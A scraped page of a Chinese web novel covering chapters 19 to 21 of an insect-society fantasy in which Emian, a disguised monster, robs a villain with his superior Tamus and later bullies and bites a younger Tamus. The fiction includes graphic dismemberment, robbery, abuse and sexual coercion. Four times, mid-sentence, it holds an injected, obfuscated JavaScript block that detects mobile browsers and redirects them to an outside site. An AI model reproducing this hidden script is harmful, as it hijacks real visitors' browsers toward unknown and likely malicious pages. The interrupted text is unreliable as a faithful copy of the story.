他根据精神波动找到耶伯恩的卧室时,耶伯恩已经被削掉了一双腿,不断流淌出血液的下.身紧贴地面,双手被死死压在镶嵌了金边的沉重衣柜下,口中塞着一条毛巾,瞳仁中布满惊恐与痛苦。 柔软名贵的丝绸床单之上整齐地摆放着双腿的切片,切片的厚度几乎一致,似乎是一道鲜美的刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736229|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,下方流动的鲜血便是口感最好的蘸料。 “唔!唔!”耶伯恩惊恐而绝望地挣扎着,却无法将被碾压得稀烂的手掌从衣柜下方抽出分毫。 厄眠回想起某个小矮子那精湛无比的刀工。 他家蛋糕做菜贼好吃,知道他喜欢吃甜口,每顿都会做个甜口的菜,即使只吃面条没烧菜,也会在饭后为他递上一杯甜牛奶、甜果汁,或者是小点心与切好的水果。 现在这个满口谎言的塔慕斯跟他家乖巧懂事的小蛋糕压根就没法比! 不对,塔慕斯在本质上就不是什么好东西,只是过去无权无势无钱不得不伪装而已。 所以无论过去的小矮子还是现在的黑心上司都不是什么好东西! 处理好两条手臂,厄眠跟随着塔慕斯的精神波动找到耶伯恩家的金库。 塔慕斯全身上下裹得严实,仅露出一双眼睛。 厄眠可以随时改变自己的相貌与皮肤纹理,不需要如塔慕斯那般谨慎地戴着手套,直接清除掉皮肤纹理,用没有指纹的手去碰这里的物品。 塔慕斯装金条,厄眠塞现金,分工明确极了。 厄眠知道那金色砖块的用途,一块金砖能抵许多钱,不过换来换去的太麻烦,干脆直接拿钱。 金条装的好好的,塔慕斯突然伸手去拿现金。 “滚!”厄眠重重往他手上拍了一巴掌。 没打走,塔慕斯还是拿走了一叠现金。 现金与金条的数量都不算太多,毕竟更多的资产都在耶伯恩的终端账户中。 回了调查局,厄眠取出一沓钱用黑色垃圾袋装好,把剩余的钱压到床板下方,外放精神力丝线寻找到克里尤居住的公寓。 克里尤的枕边的袋子中装着什么东西,从轮廓来看像一个长方形的盒子。 厄眠放下手中的物品,于是克里尤的枕头旁就有了两个同款的黑色垃圾袋。 厄眠的身体融化成一滩漆黑的胶状物,紧贴着门缝挤出去,而后蠕动成一个人形的轮廓,构建出皮肤与五官。 公寓的走廊散发着一股很淡的霉味,头顶的灯早已坏掉,只隐约有一点儿光从走廊尽头的窗户透进来。 风从侧面袭来,带着一抹极淡的柠檬气息。 * 如果不是自己的大多数资产都在调查局放着,厄眠压根就不想回来,省得天天看塔慕斯这货心烦。 早餐塔慕斯又买了纸杯蛋糕,这次买了十个。 厄眠嘴快得很,三下两下干掉六个,把自己的、塔慕斯的、大黄的全部炫进肚里。 此时,在门口站着等待投喂的大黄:“汪呜?” “眠哥,你平时跟少将斗斗嘴也就算了,大黄跟你又没矛盾,你怎么连它一块欺负?”蒲桑缇把自己的小蛋糕给了大黄一个。 “别管。”厄眠说。 “那我下午放学不给你带炸串啦?”蒲桑缇说。 厄眠不屑地哼了一声。 以卡说:“你眠哥有钱了,不稀罕那1币的炸串,搁外头连续吃四五天了,昨天夜里才回来。” 蒲桑缇点点头:“那以后换眠哥给我买吃的,我上学去啦。” 厄眠瞧都没瞧塔慕斯一眼,上楼回房。 “糖。”塔慕斯的声音从身后传来。 厄眠这才想起来,已经有五天没服用塔慕斯所说的那种添加了极强成瘾性药物的糖果,再过两天就会发作。 “威胁!又他大爷的搁这儿威胁!哥就偏不吃,看那东西能不能弄死哥!要弄不死,哥就把你这货给干-死!” 19. “帮我” 厄眠躺到床上,床垫下方铺着一层厚厚的钞.票,令床的高度都增加了些。 床头柜中放着一沓这几天要用的钱,厄眠打开终端刷着美食视频,准备马上带着钱出去炫饭,过个几天身上的现金用完了再回来拿。 “开门。”塔慕斯敲响房门。 厄眠没搭理他。 “我进去了。”塔慕斯话音刚落,厄眠就听见门锁开启的“咔嚓”声。 “滚。”厄眠把糖纸裹成团砸过去。 “耶伯恩被救回来了,不过疯了,精神崩溃撑不了多久。”塔慕斯侧身躲过纸团,“克里尤那孩子很聪明,向我们道了谢。” “道谢?谢个肉沫窝窝头!你可不是什么好玩意。”厄眠语气阴阳。 “怎么说?”塔慕斯凑过去。 “滚远点别挨我!”厄眠抬腿踹他。 塔慕斯与他拉开一个不会被踹到的安全距离。 (安全距离=厄眠的腿长) 想到钱的事厄眠就来气,说:“你要真是什么好玩意就不会收弗艾格的钱给他办事。报酬丰厚得很吧?吃这么多也不怕哪天把自己撑死。” “后来跑去剁耶伯恩的腿也压根就不是什么良心发现,只是觉得反正都是恶人钱还不如在你手中。” 厄眠的声音变得阴阳怪气:“少将您也没必要特意等个四五天再动手,前第九十七军统领的名声搁这儿呢,警方怀疑谁都不得怀疑到您这位英勇善战无私奉献的少将身上。这次的事对您多有利啊?不仅拿到了巨额的报酬与赃款,还顺便把名声打出去,以后谁被恶灵缠上都得拿着钱来找您。” 塔慕斯低笑一声:“你与我做的事本质上没什么区别。” 厄眠瞥了他一眼:“我跟您可不一样,我本来就不是什么好东西。哪像您啊?虚伪。这颗破星球谁不认识您?谁见您不得尊称一声‘少将’或者‘局长’?” “破星球?”塔慕斯挑眉,“你刚到这颗星球时不会用饮水机不会用终端,如果没判断错,你之前待的地方或许没有‘科技’的概念。除了这里,你还能去过什么更好的星球?” “别管。”厄眠垂下视线继续刷美食视频。 “耶伯恩中恶蛊的前3个小时,他所待的娱乐会所中出现一名陌生面孔的服务员,服务员在半小时内与他肢体接触2次,而后耶伯恩就仿佛被催眠一般孤身前往那所废弃小区。”塔慕斯将一把糖果放到床头柜。 厄眠看准时机抬腿往他身上踹,被对方躲开,无趣地收回腿:“别废话,哥对这些事没兴趣。” “布阵养恶蛊,晶源寄生。”顿了顿,塔慕斯继续说,“你上次应该注意到了,阵法中有名未死的雌虫被挖掉了眼睛。” 厄眠淡淡“嗯”了声。 “你知道什么?”塔慕斯问。 “别管。”厄眠盯着屏幕中的芝士鸡排咽了口口水。 “想吃?”塔慕斯注意到他滚动的喉结。 “别管。”厄眠侧过身子将屏幕背对他。 “给你买。”塔慕斯点开外卖软件。 厄眠关闭视频,晦暗不明的眸光落在他身上,沉默片刻后说:“不要与它们接触。” 塔慕斯没回应。 厄眠烦躁地搓了把头发,从床上扑腾起来,狠狠揪住他的衣领:“塔慕斯!说了别去找那群东西合作,你给哥在这儿装什么愣?” “你帮我?”塔慕斯抬眼,眸光平静地注视他,“帮我。” “帮个烤兔子屁屁帮!给哥滚!”厄眠从他身上压根就看不出来一点儿求人的态度,揪着他的衣领把他拽出房间,“你现在搁这破星球都能耐的跟要上天似的,要哪天真跑虫皇的皇位上去了,不得狂的直接冲破天?” “嘭!”门重重合上。 “芝士鸡排点好了,加一份冰镇橙汁。”塔慕斯的声音从门外传来,“考虑考虑。” 厄眠没搭理他,往兜里塞了一沓钱从窗户蹦出去。 * 酒吧。 辛辣的酒液灼烧着喉咙,厄眠手边倒着一个空酒杯,口中含着一颗柠檬味的糖果,清甜微酸的水果气息将喉咙的灼烧感压下去一些。 这瓶酒太烈了,意识在酒精的作用下渐渐模糊,身体歪斜着趴在吧台上,软绵绵的没有一点儿移动的力气。 似乎曾醉到过这个程度,嗯……那次蛋糕带他回了卧室,还贴心给他脱鞋盖被子,当时迷迷糊糊间嚷嚷着想喝水,不过片刻蛋糕就端来一杯温水,知道他喜欢甜的,还刻意在水中添加了一些蜂蜜。 想躺到柔软的床上,想喝一杯清甜的蜂蜜水,想……想抱一抱柠檬味的大蛋糕。啧,他家蛋糕全身上下都是骨头,抱着硌手,到底什么时候才能养胖?最好胖成一颗圆滚滚的大西瓜。 “约吗?” 耳边传来一道陌生的声音,一只手搭到肩头。 厄眠没啥力气回应对方,醉醺醺地趴着。 对方的手沿着肩部渐渐下移,肩胛骨、脊椎、后腰…… * 通体漆黑的巨怪几乎与浓稠的黑色湖水融于一体,庞大粗壮的黑色触手缓缓从冰凉的海水中伸出,成片上万条触手几乎占据了整片黑色湖泊,不断蠕动着将湖面拍打出阵阵黏稠的水花。 【主,我好爱您啊……】 无数只形态可怖的躯体沿着触手尖端向上攀爬,用怪异的利爪癫狂地抚摸着巨怪的触手,虔诚而狂热地亲吻着。 它们将尖锐的牙齿刺入黑色巨怪的触手,大口吸吮着滑腻浓稠的血。 【好香,好香啊……感谢您无私的馈赠……】 它们残忍地撕咬下大块大块的肉,咀嚼吞咽,如野兽般疯狂地分食着庞大的躯体,直至将庞大的触手啃食殆尽,仅仅留下一个畸形光秃的躯干,躯干遍布撕咬的痕迹,流淌出大股红黑色的血。 被馋食干净的触手在稠腻的夜晚缓缓愈合,清晨的红日从天边升起时,微弱的光打到湖边,将漆黑的湖面映出一点儿红色。 湖水是血。 天色渐暗,它们重新聚集于湖边,黏腻狂热的视线死死落在那些庞大的触手上,贪婪地舔舐着干裂的唇。 它们虔诚地抚摸着,狠戾地撕咬着。 【主,我们好爱您啊……】 …… * “嘭!”雌虫的身体飞了出去,重重地砸到街对面的墙壁上,呕出大口的鲜血。 厄眠醉意全无,眼底涌出浓重的戾气,被雌虫触碰过的地方泛起阵阵被撕咬般的痛感。 吵杂的酒吧骤然安静,空气被一股毛骨悚然的恐惧笼罩,可怖的压迫感令所有人身体止不住地打颤,额头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736230|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渗出大片冷汗。 直到厄眠收敛了暴戾的杀意,阴沉着脸离开酒吧,可怖的压迫感才消失。 酒吧服务员冲出去检查雌虫的身体,见对方还有气息,立即联系救护车。 一片落叶落到头顶,厄眠抬手取下叶子,茫然地盯着这片形状奇怪的叶子看了许久许久。 整条街都是这种叶子形状奇怪的树,放到嘴边咬一口,味道居然还行,调查局门口的那条街也都是这种树,迟早给它们全部吃秃。 调查局,蛋糕,柠檬糖。 * 我已经连续几天没有产生幻觉了,短暂地摆脱掉那些黏腻恶心的怪物。 恰好厄眠这些天也不在,我怀疑幻觉与他相关。 我想过原因,或许是因为厄眠身上的挂件我戴过一段时间,所以依然被挂件中蕴含的浓重煞气影响,厄眠带着挂件远离,幻觉自然就不再出现。 又或许……那些怪物就是他。 触手,翅膀。 他是一只会飞的粉色小章鱼。 可幻觉中的怪物有许多种。 是将我的皮肤紧密包裹的粘液,是带着凸点的粗粝藤蔓,是有着尖锐牙齿的大型野兽,是有成百上千根细软触须的…… 对面房间传出了细微的声响,厄眠回来了,带来了那个将我多次拉入幻境的挂件。 厄眠讨厌我,更厌恶被我利用,却依然守着刚入职时的承诺,时时刻刻将那个危险的挂件戴在身上。 我等待幻觉的出现,等待幻境中的那些怪物将我“分食”。 怪物没有出现,这或许又是一个安稳的夜晚。 我再次梦到那名雄虫,梦境中,他的面容始终模糊不清。 雄虫的目光落在我的背部,用温热的手指轻轻抚摸我的翼骨,我僵硬着身体不敢移动。 片刻后,我听到身后响起一道极轻的叹息,一道夹杂着浅淡悲悯的叹息。 * 〔星元8127年,雪绒星。〕 手臂下压着一个邦硬的东西,厄眠睡习惯了柔软的床,被这个邦硬的东西搁的不太舒服。 眼睛还未睁开,恍惚间闻到一股香甜的柠檬糖味,意识立即清醒一些。 想到某位对自己多次欺骗利用的黑心上司,厄眠的气立即就上来了,抬起膝盖顶了顶塔慕斯的屁股,没好气地命令道:“做早饭去。” 塔慕斯被弄醒,先是望了眼外面乌黑的天,又点开终端看了眼时间。 凌晨2点。 “快去!”厄眠揪了揪他的头发,把头发薅掉好几根。 塔慕斯只好爬起床下楼做饭,将做好的早餐放进微波炉中保温。 早晨一下楼,厄眠就看到缩在沙发一角的塔慕斯。 身上盖着一条毛茸茸的毯子,毯子是柔软的羊羔绒材质,软绵绵的毛毛看起来蓬松极了。塔慕斯缩着身子,如此蓬松的毯子裹在身上应该让他看起来像一颗圆润饱满的大球球才对,可这颗球看起来扁不拉几的,跟漏了气似的。 厄眠微微蹙眉。 这都是骨头没啥肉的身材抱着睡硌手不说,每当想使劲欺负时,看这消瘦的脸又无法狠下心。 打也打不得,还得好吃好喝地供着,喂了好几天也不见长一点儿肉,又瘦又矮的。 嫌弃死了。 20. “小豆芽” 听到动静,塔慕斯从毯子里露出一颗毛茸茸的脑袋,视线触及到雄虫面容的那一刻,眼底的惺忪睡意尽数褪去,掀开身上的毯子起身站好,朝雄虫的方向微微鞠躬:“阁下早安,早餐在微波炉中,我现在为您拿出来。” 分明刚从梦境中清醒的眼睛还略微泛红,眼角也带着一点儿朦胧的水光,可声线却平淡的过分,不见半分睡意。 厄眠蹙眉,胡乱地搓了把他的头发,开门取了今日份的3支营养液,把营养液全部塞到塔慕斯手中,说:“限你一个月内给我胖50斤。” 塔慕斯不解地看着他。 “胖了耐揍。”厄眠捏住他干瘦的胳膊,“这小胳膊小腿的还不够一脚踹的,踹伤了又得花钱买药。” 携着疼痛的记忆涌了上来,塔慕斯的身体略微僵硬,微微抬头朝他扬起一个讨好的笑:“阁下,我现在也很耐揍,我保证不在中途晕倒,争取为您提供最好的体验,直到您玩累了……唔?” 话还未说完,塔慕斯的两侧脸颊突然被捏住,嘴巴嘟成一个圆圆的红嫩嫩的“o”形。 “笑的真丑。”厄眠捏着手中的肉肉,看着这个嫩红色的“o”随着自己的动作不断变换,变得更圆或者更扁。 挺好玩的,于是厄眠不禁多捏了一会儿,松手时,塔慕斯消瘦的脸颊已经被捏出五道发红的手指印,像被打了一巴掌。 要是眼前这名脸上印着指印的雌虫是某位黑心上司,厄眠肯定快意得很,可对方只是一名不敢反抗只能任打任骂的小雌虫,这让厄眠不仅没啥报复的快意,甚至还有那么一点儿欺负弱小的罪恶感。 厄眠盯着塔慕斯把钙片、牛奶、营养液全部炫嘴里,才坐到餐桌前享用早餐,用餐时如同之前一样,恶劣地把属于塔慕斯的那份食物全部咬上一口,然后心情不错地欣赏对方低着脑袋委屈巴巴吃自己剩饭的模样。 诶~解气的咧~ 其实塔慕斯并不感觉委屈,低头仅仅是因为不想看到雄虫,他无法理解雄虫在所有食物上咬一口的怪异行为,只希望雄虫不再残暴地虐打他,不强制匹配,并且能够在开学前放他去主星完成学业。 上次的直播效果不错,收入有8000多币,厄眠压根就没有还那1亿币欠款的打算,只想把全部的存款拿出去吃喝。 至于答应好塔慕斯的3万币学费…… 欺骗、利用、威胁、讥讽、还有那求人办事的冰冷态度。 什么学费?给吃的还提供住的地方就不错了,其他的全部给哥滚! 资产全在塔慕斯账户,一转到自己账户就会被自动转移出去还债,于是厄眠直接取走塔慕斯的终端,在外面吃吃喝喝了一整天,直到半夜才醉醺醺地回住处。 “小矮子。”远远地望见塔慕斯,厄眠歪斜着身子朝他招手。 塔慕斯快步过去搀扶住他:“阁下,有没有不舒服的地方?” 厄眠眯着眼睛呆呆地注视他,朝他打了个酒味的嗝,上扬的嘴角带着笑,说:“好喝。” 刺激的酒精味钻入鼻腔,塔慕斯将头埋低了些,搀扶着他进入房内。 厄眠把身体的大半重量压在他身上,不悦地薅了下他的头发:“讨厌酒味?” “没有。”塔慕斯抬头朝他扯起嘴角露出一个笑。 “别笑,都说了笑的丑。”厄眠捏住他的脸颊,“忍着吧。” 然后小声嘟囔:“我也烦烟味,某人还故意把烟往我脸上吐,哥忍你忍得也怪久的。” 塔慕斯不明白他在说什么,将他扶到沙发上,去厨房倒蜂蜜水。 厄眠的胃有些撑,小口小口地喝着,蜂蜜水的温度与甜度都刚刚好,喝着喝着眼底的笑意就浓重起来。 待杯子见底,他慵懒地向后靠过去,低低的嗓音携着畅快与舒适,含含糊糊说了句:“不疼。” 塔慕斯拿着空杯走向厨房,只听清身后的雄虫说了个“疼”字,立即放下杯子凑过去,声音略带慌张:“哪里疼?您受伤了?” 雄虫习惯于虐待雌虫,在施虐途中不小心用刑具弄伤自己的事并不少见。每一位雄虫对虫族而言都无比尊贵,一旦雄虫受伤,在他身边侍奉的雌虫将会被以“侍奉雄虫不当”的罪名关入惩教所受罚。 虫族对于雌虫的要求残忍而苛刻,法律明确规定,雌虫生来便是雄虫的归属物,一切行为的最终目的均是“为雄虫服务”。 在高贵的雄虫统治者面前,雌虫不存在尊严与人格,他们必须低下头颅弯下膝盖,永生跪在雄虫脚边,卑微地乞求雄虫使用,乞求雄虫施舍一点儿宠爱,然后雄虫才会施舍般地提供一些安抚精神力,让雌虫不至于死于精神崩溃。 比起酷刑带来的身体上的痛苦,塔慕斯更畏惧的是留下案底,有案底就意味着无法继续学业。 深深的无力感笼罩住塔慕斯,他忽地想起抽屉中有一支修复剂,看了眼意识不清的雄虫,做出一个大胆的决定。 他要在雄虫清醒前销毁“证据”。 他翻找出修复剂,小心地掀起雄虫的衣服,视线快速从对方的皮肤掠过。 伤口在哪? 手腕被攥住,塔慕斯的心跳停滞了一瞬。 酒瓶重重砸到头上,冰凉的酒液与尖锐的玻璃碎片落到脸上,酒水与血混合着滑落。雄虫将他狠狠踹倒,故意将脚放到满地的碎片上,而后抬起脚用沾满碎玻璃的鞋底残忍碾压他的手腕,欣赏着血液与酒水融于一体的“美妙”画面。 “看什么?”厄眠问。 “您的身材很好。”塔慕斯抛开沉痛的回忆,收回扯着厄眠上衣的手,视线下移,想着以什么借口看一看对方的下.身。 察觉到他的视线,厄眠忽地抬手抓了一把他的萝卜。 塔慕斯身体僵住:“阁,阁下?” 厄眠嗤笑一声:“小豆芽。” 啧,塔慕斯这货的尺寸还真是啥时候都比不过他。 小豆芽。 愣了片刻,塔慕斯才顺着他的话试探性地开口:“您说的对,我是小豆芽,与您相比差远了。” “我操!塔慕斯你这货居然他大馒头的承认了!”厄眠半阖的眼眸猛然睁大,点开录音,把终端凑到塔慕斯嘴边,“快,再说一遍!” 某位黑心上司没少嘲笑他是小豆芽,这次居然亲口承认自己才是那个小豆芽!这录音一定得保存好!留到13年后反复播放给那货听!不仅如此,他还要把这段录音更换成塔慕斯的专属消息提示音! 录音反复播放了十多遍,厄眠越听越得劲儿,而后忽地想起塔慕斯刚才问他哪儿疼,说:“不疼。” 塔慕斯的手刚触碰到他的裤腰,还没来得及向下扒拉。 厄眠低头注视着他那只搭在自己身上的干瘦爪爪,眼底的笑浓郁了些,声音携着浓浓的醉意:“章鱼小丸子,不疼。” 撕咬,撕咬,撕咬……血肉被残暴地分食,浓稠的血四处飞溅,大股的血液汇聚成一片稠腻的血湖…… 章鱼小丸子,他的触手第一次被用这么可爱的称谓称呼。 手臂与双腿在酒精的作用下变得轻飘飘软绵绵的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736231|157327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泛起阵阵细微的酥麻,还有那么一点儿痒,即使用力去掐也感受不到很大的疼痛。 未来的某天他必须再次回到那个地方,他要带上许多能够模糊意识麻痹身体的烈酒,混混沌沌地渡过那些不太愉快的夜晚。 塔慕斯依然听不懂厄眠的酒后胡言,动作很轻地把他的裤子扯下去,确定没有伤口才松了口气,把修复液放回原处。 下身凉飕飕的,厄眠不悦地蹙眉。 不说缘由地扒他的衣服就算了,扒拉干净了还不给他穿好。 必须教训一顿! 他三两下提好裤子,站起身晃晃悠悠地走向塔慕斯,而后双腿发软直接倒到对方身上。 香甜的柠檬糖信息素钻入鼻腔,厄眠把脸埋进他胸口猛吸了几口,鼻尖蹭着柔软的布料逐渐向上,停留在温热柔软的侧颈。 鼻梁骨被坚硬的抑制环硌了一下,不太舒服,厄眠嫌弃地解开抑制环,然后张开唇对着侧颈处柔嫩温热的肉肉嗷呜一口咬下去。 皮肉被咬破的疼痛令塔慕斯蹙起眉,垂在腿侧的手缓缓收紧,指甲掐入掌心。 血液的腥涩中掺杂着甜腻的柠檬糖香甜,这种气味令厄眠近乎癫狂,贪婪地吸吮着,冷绿色的眼睛闪烁出亢奋的光。 除了酒,他还想把这颗甜美的柠檬糖也带上,没事就啃一口,有事了就啃两口。 骚扰强迫、虐待殴打,触目惊心的鞭痕、青紫色的勒痕、毒虫叮咬留下的脓包…… 他知道塔慕斯一定恨透了这个畸形的烂世界。虽然他所在的地方也同样腐烂,但他完全可以保证塔慕斯不再遭受那些痛苦。 所以当被寻回深渊的那天,他要将塔慕斯一同带走,一起在那个弥漫着腐朽气息的地方腐败发烂。 感受到怀中的身子变得僵硬,厄眠才缓缓回神,收起咬入肉中的牙齿。 鲜红的血从咬痕涌出,沿着脖颈向下滑落,塔慕斯面色发白,睫羽轻轻地颤动,漂亮的蓝色眼睛泛出一层薄薄的水光。 这幅可怜巴巴的模样令厄眠的愧疚感一下就上来了,厄眠可不愿意为自己的失控向塔慕斯这货道歉低头。 “这是惩罚,下次再扒拉哥的衣服记得给哥穿回去。”厄眠往身后的沙发上一倒,使唤道,“小矮子,给哥倒蜂蜜水去。” 塔慕斯将第二杯蜂蜜水端给他,而后就跟个佣人似的站在旁边等候吩咐。 厄眠取下终端手环甩给他。 塔慕斯接过手环,趁他仰头喝水的空隙快速瞥了眼余额。 外出一天便用掉五分之一的余额。 果然,雄虫的话从来都不可信,自己身上还背负着1亿的巨额欠债,怎么可能会大发善心专门为他攒3万币的学费? 待几天后雄虫败光剩余的资产,便只能依靠雄保会每日提供的营养液度日。 他呢?到时他这只不会讨雄虫欢心且没什么资产的雌虫会怎样?会在饿死之前被送到来钱快的斗兽场,用生命去与那些凶猛的野兽厮杀? 反抗……他不敢,一旦反抗逃跑,暴怒的雄虫便会联系惩教所追究责任,“忤逆雄虫”的罪名将与身份信息终身绑定,他日后将无法匹配雄主,最终因得不到精神疏导而死于精神崩溃。 似乎除了讨好这名雄虫,暂时没有别的方法了。 塔慕斯想到刚才对话提到“小豆芽”时雄虫那激动的模样,尝试着模仿电视剧与小说中那些雌虫讨好雄虫的举止,斟酌着语句放低声音讨好:“蛋糕好羡慕哥哥~像个大萝卜一样,不像我,只有一根小豆芽……” 21. “哥哥” ——“蛋糕好羡慕哥哥~像个大萝卜一样,不像我,只有一根小豆芽。” 虽然塔慕斯尽量压低声音让声线听上去更加乖软,不过听起来还是显得有那么一丝僵硬干涩。 听惯了对方那几乎没啥情感起伏的声音,一时间声线猛地轻软下来,厄眠反而不太适应,眯着眼睛奇怪地看向他。 塔慕斯半跪在沙发旁,微仰着头,眨巴着惊心动魄的海蓝色眸子直勾勾地凝望他。 这目光放在厄眠眼中,就是崇拜+羡慕。 录音! 厄眠点开终端让塔慕斯重复一遍,并给这段录音取了个名字——大萝卜和小豆芽。 录音反复播放着,录音中塔慕斯那乖软的嗓音再配合着眼前这张带着崇拜的面容,让厄眠得到了莫大的满足。 什么大萝卜?瞎说什么大实话? 操!爽爆炸了!!! 见这招似乎管用,于是塔慕斯接着说:“哥哥身材也好,肩宽腿长有腹肌……” 顿了顿,塔慕斯按照网上搜到的《讨雄主开心语录大全(绿茶版)》继续念道:“那么多雌虫都喜欢哥哥,可他们哪里像我一样懂得哥哥的辛苦与不容易呀?哥哥锻炼身体保持身材一定很辛苦吧?哥哥真厉害呀……” 塔慕斯的姿势是半跪着,两只手紧贴沙发底部,从厄眠的角度看不见他在偷偷看小抄。 “哥哥,外面的雌虫看上的只是你的外貌与等级,不像我,我对哥哥的崇拜是……” 喝了不少酒,厄眠的意识不太清醒,一边享受着塔慕斯的夸赞与讨好,一边咧嘴傻笑。幸亏现在的这具身体是雄虫,如果是原本的怪物身体,恐怕此时此刻嘴角都要嘚瑟到翘到耳根的程度。 “放心。”厄眠搓着塔慕斯的脑袋,“你还能再长10多厘米,腹肌以后也会有。” 塔慕斯朝他点点头:“嗯嗯。” ——“嗯嗯。” ——“嗯嗯。” ——“嗯嗯。” 操!塔慕斯这货现在简直乖炸了!!! 行吧,都这么讨好哥了,哥也不能继续那么不近人情,勉为其难想法子继续给你凑凑学费。 * 醒酒后的雄虫没再出门,一整个上午都缩在家里玩消消乐。 塔慕斯紧绷的情绪缓和不少,只要不外出消费,他就不会因为没钱而被雄虫送至斗兽场。 只是他想不太明白,雄虫留下他分明是因为他这幅与别的雌虫不一样的沉闷性子,分明是想找个特殊些的玩具解解闷,可为什么当他的“沉闷呆板”的特点消失后,雄虫反而更在意他?到底要等多久,雄虫才会对他这个玩具失去兴趣? “蛋糕。”趴在窗边的厄眠朝塔慕斯招招手,“在酒吧干了多久?” “将近一个月,哥哥。”塔慕斯走过去。 “坐。”厄眠指了指旁边的板凳,“工资呢?” “还没发,哥哥。”塔慕斯坐到他指的地方。 “工资多少?”厄眠问。 塔慕斯说:“8千,哥哥。” 三句话三个“哥哥”,厄眠简直爱听的不得了,继续问:“假期多久?” “有3个月。” “8千,3个月,学费3万,差的6千呢?” “有些客人会给小费,多赚些小费就够了。” “小费?就陪酒啊?” “陪酒”这个词汇再次勾起那些痛苦的回忆,沉默片刻,塔慕斯轻轻“嗯”了声。 厄眠拉住他的手腕,说:“找老板要工资去,要是不给哥把他店给掀飞。” 板凳还没捂热,塔慕斯就被拉起来塞进飞行器。 厄眠刚坐到副驾驶座,便回忆起某位黑心上司故意停下行驶中的飞行器,让没系安全带的他“嘭”的一下磕到头,然后无情嘲讽的画面。 “给我系安全带”这句话还未说出口,旁边的塔慕斯就已经自觉地凑过来帮他系好了安全带。 又乖又懂事。 厄眠欣慰地搓了把他的脑袋,把柔顺的头发揉成一个被打劫过的鸟窝。 树上那两只肥嘟嘟的麻雀味道还不错,啥时候把塔慕斯也喂成那么胖就好了,抱着睡肯定软乎。 原主欠了酒吧不少钱,只要欠款不涉及雄虫,酒吧就无法让他强制还钱。厄眠丝毫没有替原主还钱的意思,至于自己喝的那瓶6位数价格的酒,等啥时候有钱啥时候还吧。 酒精对厄眠有种难以抵抗的吸引力,所以干脆待在飞行器上不下去,只要不进酒吧闻不到酒味就不会冲动消费。 原主可是酒吧的常客,酒吧老板一眼就看见门外飞行器中的希泽迩,而与雄虫希泽迩同程一艘飞行器的塔慕斯衣着干净整洁,气色明显比前段时间好上不少,老板一猜便知道他得到了雄虫的宠爱,二话不说就将工资转过去。 此时是中午,酒吧中的客人只有零零散散的几个,有酒客认出塔慕斯,甩出几张纸币让他过去陪酒。 塔慕斯侧头朝外面看了眼,飞行器中的雄虫正在玩终端,游戏界面是消消乐,雄虫通常一玩就能玩好久。 这几名酒客他有印象,与其他那些借着“陪酒”的名义对他施行猥亵或者虐待的客人不同,他们是某名雄虫的雌侍,不敢背着雄主乱来,顶多只敢语言挑逗几句。 塔慕斯抿了抿唇,还是决定借着这个机会多攒一点儿钱,捡起地上的钱装入口袋,拿起酒瓶为酒客倒酒,将酒杯逐一倒满,端起最后一杯一饮而尽。 “傍上大款了?几天不见气色都变了,被滋润的不错啊。”酒客欣赏着他漂亮的眼睛与被酒液浸湿的唇,言语轻佻恶毒,“每天夜里被*得爽死了吧?” “还没好?”厄眠忽地出现在酒吧门口,“这黑心老板不给工资?让你在这陪酒?” 老板生怕惹怒这名尊贵的B级雄虫,立即把事情解释清楚。 “赚钱啊,有多少?”厄眠看了眼塔慕斯的口袋,纸币从中露出一个绿色的小角。 “300。”塔慕斯回答。 “多少?300?这么多!”不仅有免费的酒喝还有钱拿,厄眠立即凑过去,“来来来,我来陪你们,喝!” 雌虫惊恐地摇头,整整齐齐地跪了一地。 对雄虫阁下出言不逊都要被送至惩教所受罚,让雄虫阁下陪酒?那他们的下半辈子恐怕都要在惩教所渡过了。 “阁下我们错了!不该调戏您的雌虫,请您息怒。” 厄眠打开终端编辑一条信息,然后示意塔慕斯看终端。 塔慕斯看向屏幕。 ——讹多少? 讹? 塔慕斯不解地看向他。 厄眠快速打下一段文字——他们挑戏你,这是个讹钱的好鸡会!钱到手了我们去吃顿好的,海鲜自助!!! 看到这段文字,塔慕斯的第一反应:错别字。 巨款到手,厄眠第一时间带塔慕斯去海鲜烤肉自助餐厅。 登上飞行器,塔慕斯立即体贴地为厄眠系好安全带:“从来没有人带蛋糕吃过自助餐,只有哥哥愿意对蛋糕好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 